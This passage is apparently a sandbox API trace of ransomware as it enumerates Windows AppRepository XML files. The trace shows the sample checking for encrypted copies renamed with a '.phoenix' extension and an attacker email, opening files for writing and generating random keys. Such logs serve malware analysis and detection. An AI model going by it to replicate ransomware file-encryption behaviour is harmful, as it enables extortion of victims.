	[0251.050] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=828) returned 1
	[0251.050] CloseHandle (hObject=0x2d4) returned 1
	[0251.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.051] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.051] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.051] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.051] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1564) returned 1
	[0251.051] CloseHandle (hObject=0x2d4) returned 1
	[0251.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.051] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.051] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.051] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.052] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4746) returned 1
	[0251.052] CloseHandle (hObject=0x2d4) returned 1
	[0251.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0251.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.052] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.052] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.052] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxidentityprovider_11.19.19003.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.052] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=8809) returned 1
	[0251.052] CloseHandle (hObject=0x2d4) returned 1
	[0251.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxidentityprovider_11.19.19003.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0251.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxidentityprovider_11.19.19003.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.052] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxidentityprovider_11.19.19003.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.053] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.053] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxidentityprovider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.053] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=12842) returned 1
	[0251.053] CloseHandle (hObject=0x2d4) returned 1
	[0251.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxidentityprovider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxidentityprovider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.053] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxidentityprovider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.053] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.053] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.053] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=842) returned 1
	[0251.053] CloseHandle (hObject=0x2d4) returned 1
	[0251.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.054] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.054] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.054] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.054] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1631) returned 1
	[0251.054] CloseHandle (hObject=0x2d4) returned 1
	[0251.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.054] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.054] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.054] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.055] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3393) returned 1
	[0251.055] CloseHandle (hObject=0x2d4) returned 1
	[0251.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0251.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.055] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.055] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.055] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.055] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=848) returned 1
	[0251.055] CloseHandle (hObject=0x2d4) returned 1
	[0251.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.055] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.056] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.056] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.056] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=848) returned 1
	[0251.056] CloseHandle (hObject=0x2d4) returned 1
	[0251.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.056] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.056] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.056] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.056] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=848) returned 1
	[0251.056] CloseHandle (hObject=0x2d4) returned 1
	[0251.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.057] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.057] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.057] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.057] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=15420) returned 1
	[0251.057] CloseHandle (hObject=0x2d4) returned 1
	[0251.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0251.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.057] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.057] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.057] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.058] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=17978) returned 1
	[0251.058] CloseHandle (hObject=0x2d4) returned 1
	[0251.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
